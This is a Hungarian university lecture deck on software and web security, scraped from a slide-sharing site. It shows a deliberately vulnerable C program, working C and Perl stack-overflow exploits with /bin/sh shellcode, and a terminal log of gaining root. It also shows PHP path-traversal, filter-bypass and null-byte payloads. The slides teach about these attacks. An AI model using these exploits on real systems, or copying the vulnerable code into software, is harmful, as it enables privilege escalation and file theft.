Széchenyi Isván Egyetem Számítógépes hálózatok II 1 Számítógépes Hálózatok II Széchenyi István Egyetem.

Slides:



Advertisements
Hasonló előadás
LEgyméretű tömbök, vektorok Alkalmazott Informatikai Tanszék SZÁMÍTÁSTECHNIKA I. dr.Dudás László 17./0. lVektorok definiálása lVektorok definiálása kezdőértékekkel.
Advertisements

Az LCD kijelző programozása
9. előadás (2005. április 26.) Parancssor argumentum kezelés példák (K&R) Fordítóprogramok A C előfordító 1.
8. előadás (2005. április 19.) Pozicionálás fájlban (folyt.) I/O mechanizmus váltás Hibakezelő függvények Változók tárolási osztályai Parancssor-argumentumok.
Budapesti Műszaki és Gazdaságtudományi Egyetem Elektronikus Eszközök Tanszéke A programozás alapjai 1. (VIEEA100) 9. előadás.
GPGPU labor I. OpenGL, Cg.
Számítógépvírusok.
Programozási Nyelvek (C++) Gyakorlat Gyak 03.
Dinamikus tömbök.
Sztringek.
10. előadás (2004. április 20.) A C előfordító (folytatás) Néhány hasznos compiler opció Egy tanulságos könyvtári függvény Változó hosszúságú argumentum.
11. előadás (2005. május 10.) A make segédprogram Alacsony szintű műveletek és bitmezők Fájl, katalógus rendszer hívások 1.
6. előadás (2005. április 5.) Struktúrák Úniók Új adattípus definíálása Dinamikus memória foglalás 1.
7. előadás (2005. április 12.) Láncolt lista File kezelés 1.
5. előadás (2005. március 22.) Függvények definíciója, deklarációja, hívása Enumerációs adattípus 1.
4. előadás (2005. március 8.) Pointerek Pointer aritmetika
Mikrovezérlők alkalmazástechnikája laboratóriumi gyakorlat Kovács Tamás & Mingesz Róbert 3. óra február 20., 23.
Programozás II. 3. Gyakorlat C++ alapok.
UNIVERSITY OF SZEGED D epartment of Software Engineering UNIVERSITAS SCIENTIARUM SZEGEDIENSIS Programozás II. 6. Gyakorlat const, static, dinamikus 2D.
Függvények, mutatók Csernoch Mária.
Mutatók, tömbök, függvények
A verem működése fpga-n
Borland C/C++ mintapéldák
Borland C/C++ mintapéldák tömbökre
Borland C/C++ mintapéldák függvényekre. 1. példa Írjunk olyan függvényt amely egy számot kiirat.
Borland C/C++ mintapéldák fájlokra. 1. példa Írjon olyan programot,amely megnyit egy hw.txt fájlt és írja bele a Hello világ szöveget. Ez után zárja le.
Borland C/C++ mintapéldák struktúrákra. 1. példa /* Egyszerû példa a struktúrák használatára */ #include #define SIZE 5 struct szemely { char nev[26];
Borland C/C++ mintapéldák mutatókra
Jelszavak helyes megválasztása, szótáras törés
Programozás I. Horváth Ernő 1. Elérhetőségek Bauer Péter Horváth Ernő Tanszéki honlap
Programozás I. Horváth Ernő 1. Elérhetőségek Bauer Péter Horváth Ernő Tanszéki honlap
Programozás I. Horváth Ernő 1. Elérhetőségek Bauer Péter Horváth Ernő Tanszéki honlap
A C++ programozási nyelvSoós Sándor 1/15 C++ programozási nyelv Gyakorlat hét Nyugat-Magyarországi Egyetem Faipari Mérnöki Kar Informatikai Intézet.
WEB Technológiák Dr. Pance Miklós – Kolcza Gábor Miskolci Egyetem.
Számítógépes grafika OpenGL 1. gyakorlat.
CISC - RISC processzor jellemzők
C++ Alapok, első óra Elemi típusok Vezérlési szerkezetek
C++ alapok, harmadik óra
A PLC-s vezérlés előnyei és alkalmazásai (Mitsubishi)
Ficsor Lajos Template-ek CPP8/ 1 Template-ek. Ficsor Lajos Template-ek CPP8/ 2 A template fogalma Kiindulási probléma: tetszőleges típusokon kellene ugyanolyan.
Kivételkezelés a C++ nyelvben Bevezetés
Mikrovezérlők, perifériák laboratóriumi gyakorlat 3. óra szeptember 18. Mingesz Róbert v
Számítógép architektúra
Programozási Nyelvek (C++) Gyakorlat Gyak 02.
Magas szintű hardware szintézis
Mikrokontroller (MCU, mikroC)
Programozási nyelvek.
Készítette: Csíki Gyula
A D programozási nyelv Angeli Dávid. Nagy vonalakban  C++  
Miért is jók a rétegek?  Ha alkalmazást készítünk, nem akarunk IP csomagok küldésével bajlódni Ethernet keretekkel foglalkozni Implementálni megbízható.
UNIVERSITY OF SZEGED D epartment of Software Engineering UNIVERSITAS SCIENTIARUM SZEGEDIENSIS Programozás II. 4. Gyakorlat Függvény paraméterek, dinamikus.
Egy első generációs gép (az IAS) felépítése
Objektum orientált programozás 3. Függvények Nagy Szilvia.
Objektum orientált programozás
1 Hernyák Zoltán Programozási Nyelvek II. Eszterházy Károly Főiskola Számítástudományi tsz.
CUDA C/C++ programozás GPU tulajdonságainak lekérdezése A segédanyag készítése a TÁMOP A/ Nemzeti Kiválóság Program című kiemelt.
CUDA C/C++ programozás Atomikus műveletek A segédanyag készítése a TÁMOP A/ Nemzeti Kiválóság Program című kiemelt projekt keretében.
Függvények a C nyelvben 1 Függvényeket a következő esetekben szokás írni: Ha ugyanazt a tevékenységet többször is el kell végeznünk ugyanolyan típusú,
CUDA C/C++ programozás CUDA C bevezetés A segédanyag készítése a TÁMOP A/ Nemzeti Kiválóság Program című kiemelt projekt keretében.
Típuskonverzió a C++ nyelvben
© Tóth Ákos, Óbudai Egyetem, 2010
Excel programozás (makró)
Számítógépek felépítése 4. előadás ALU megvalósítása, vezérlő egység
Objektum orientált programozás 4. Mutatók, típusok és struktúrák Nagy Szilvia.
Fájlkezelés Programozási tételek
Függvények, mutatók Csernoch Mária. Függvények függvény definíciója az értelmezési tartomány tetszőleges eleméhez hozzárendel egy értéket –függvény helyettesítési.
Grafikus szoftver Szirmay-Kalos László. Interaktív programok felépítése input csővezeték output csővezeték.
Excel programozás (makró)
Beépített függvények használata programozáskor
Konverziós operátorok
Előadás másolata:

Széchenyi Isván Egyetem Számítógépes hálózatok II 1 Számítógépes Hálózatok II Széchenyi István Egyetem

Széchenyi Isván Egyetem Számítógépes hálózatok II 2 Programhibák Környezeti változó Temp fájl/könyvtár hibás kezelése I/O hiba A fent említett hibák megléte jelentősen csökkenti a rendszer biztonsági szintjét

Széchenyi Isván Egyetem Számítógépes hálózatok II 3 I/O kezelés Ellenőrzött INPUT!! Ellenőrzött OUTPUT!! Input adat megfelelő kezelése,memóriában való mozgatása Nem megfelelően kezelt I/O adatok nagy veszélyt jelenthetnek olyan programok Esetén, melyek magasabb privilégiummal futnak, mint a felhasználó jogosultságai

Széchenyi Isván Egyetem Számítógépes hálózatok II 4 Stack Overflow Hiba alapja a nem megfelelő memóriamozgatás Segítségével bármilyen kód végrehajtható Kihasználásához speciális körülmények szükségesek A technika és a hiba nagyon régi, mégis a mai napig megtalálható a rendszerekben. Rengeteg szervert és hálózatot törnek fel ezen technika alkalmazásával

Széchenyi Isván Egyetem Számítógépes hálózatok II 5 Stack Overlow alapok Memória felépítés (Verem,kód,adat szegmens) Verem felépítése,működése (LIFO) Milyen adatok vannak a veremben? átmeneti adatok környezeti változók, paraméterek rendszerváltozók ugrási táblázatok….

Széchenyi Isván Egyetem Számítógépes hálózatok II 6

7 Fontosabb regiszterek ESP (Stack Pointer, x86 architektúrán a stack tetejére mutat) EBP (függvények helyi változói,paraméterek,visszatérési cím(!!)) EIP (köv. végrehajtandó byte(!!)) A hiba megtalálása nagyon egyszerű, már létezik olyan fordító, mely észre is veszi a lehetséges veszélyeket

Széchenyi Isván Egyetem Számítógépes hálózatok II 8 Hiba kihasználása Etikus/etikátlan Shellcode (kritériumok) Esély növelése (NOP)

Széchenyi Isván Egyetem Számítógépes hálózatok II 9 Hackeljünk!

Széchenyi Isván Egyetem Számítógépes hálózatok II 10 Hibás példaprogram #include int main(int argc,char **argv){ char buf[256]; if(argc < 2) { printf("Usage: %s \n",argv[0]); exit(-1); } strcpy(buf,argv[1]); /* Boooom */} }

Széchenyi Isván Egyetem Számítógépes hálózatok II 11 /* c0dEd bY Depth fR0m HB S3CurTy tEAm*/ #include #define NOP 0x90 #define LEN 2048 #define RET 0xbffff000//0xbffffd18 int main(int argc, char **argv){ char shellcode[]="\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08„ "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0„ "\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"; char buffer[LEN]; long addr = RET; int i;addr+=atoi(argv[1]); for(i=0;i<(LEN - sizeof(shellcode));i++){ *(buffer+i)=NOP; } for(i=0;i<300;i+=4){ *(long *)&buffer[i]= addr; } memcpy(buffer+(LEN-sizeof(shellcode)),shellcode,sizeof(shellcode)); execl("./test1","HBST exploit",buffer,0); return 0; } Biztonsági Audit C nyelven

Széchenyi Isván Egyetem Számítógépes hálózatok II 12 Biztonsági Audit Perl Nyelven #!/usr/bin/perl # Coded By Depth from HB Security Team $shellcode = "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c"; $shellcode.="\x89\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d"; $shellcode.= "\x53\x0c\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde"; $shellcode.= "\xff\xff\xff/bin/sh"; $nop= "\x90"; $ret= 0xbffff000; $len=2048; $new_ret=pack("l",($ret + $ARGV[0])); for ($i=0; $i<$len; $i+=4) { $buffer.= $new_ret; } for($i=0;$i< $len - length($shellcode)-100;$i++){ $buffer.= $nop; } $buffer.= $shellcode; exec("./test1",$buffer,0);

Széchenyi Isván Egyetem Számítógépes hálózatok II 13 Hiba kihasználása srv-halx:/tmp$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) srv-halx:/tmp$ for i in `seq `;do./expl1.pl $i;done ………………………… Trace/breakpoint trap Illegal instruction Segmentation fault Illegal instruction Trace/breakpoint trap Illegal instruction Trace/breakpoint trap Illegal instruction sh-2.05a# id uid=65534(nobody) gid=65534(nogroup) euid=0(root) groups=65534(nogroup) sh-2.05a#

Széchenyi Isván Egyetem Számítógépes hálózatok II 14 Webes biztonság Problémák: Nagy, összetett rendszerek Nem ellenőrzött INPUT Nem megfelelő jogosultságok Biztonság alapvető hiánya A problémák az egyszerű oldalaktól a bonyolult webes áruházakig megtalálhatók

Széchenyi Isván Egyetem Számítógépes hálózatok II 15 Könyvtárak, fájlok hibás kezelése I Legegyszerűbb eset: <?php …. fopen($HTTP_GET_VARS['fajl'], "a"); …… ?> Az adatok.txt helyére bármilyen fájlt megadhatunk aminek olvasásához a httpd-nek Joga van.

Széchenyi Isván Egyetem Számítógépes hálózatok II 16 Könyvtárak, fájlok hibás kezelése II Kicsit „biztonságosabb” eset: <?php $file = '/var/www/'.$HTTP_GET_VARS['fajl]; fopen($file, "a"); ?> Megfelelő védelmet nyújt minden esetben a teljes META karakterkészlet szűrése

Széchenyi Isván Egyetem Számítógépes hálózatok II 17 Könyvtárak, fájlok hibás kezelése III <?php $grep_file = preg_replace("/\.\.//i",'',$HTTP_GET_VARS['fajl']); $file = '/files/include/'.$grep_file; fopen($file, "a"); ?> Preg_replace() függvény kiszűri a../ karaktereket a fájlnévből. Trükk: …/…//…/…//file_amit_akarok Átalakítás:.../ ->. …// ->./

Széchenyi Isván Egyetem Számítógépes hálózatok II 18 Saját script futtatása Probléma: A probléma kihasználásának feltételei: egy szerver, melyen nincs php futtatási lehetőség saját script Ettől kezdve összetett programokat, exploitokat lehet futtatni melyek segítségével Akár Adminisztrátori szintre is lehet törni a célszervert.

Széchenyi Isván Egyetem Számítógépes hálózatok II 19 NULL byte Hexában %00 Mit jelenthet? (gondoljunk a C programozásra) Csak a meghatározott kiterjesztésű fájlokat lehet megnyitni: <?php $file = $HTTP_GET_VARS['fajl']; $file = $file.'.txt'; fopen($file, 'r'); ?> index.php%00.txt // index.php forrása!!

Széchenyi Isván Egyetem Számítógépes hálózatok II 20 Befejezés? Törekedjünk legalább a minimális biztonságra A lista nem teljes… Biztos, hogy hozzánk nem törtek be?

Széchenyi Isván Egyetem Számítógépes hálózatok II 21 Köszönöm a figyelmet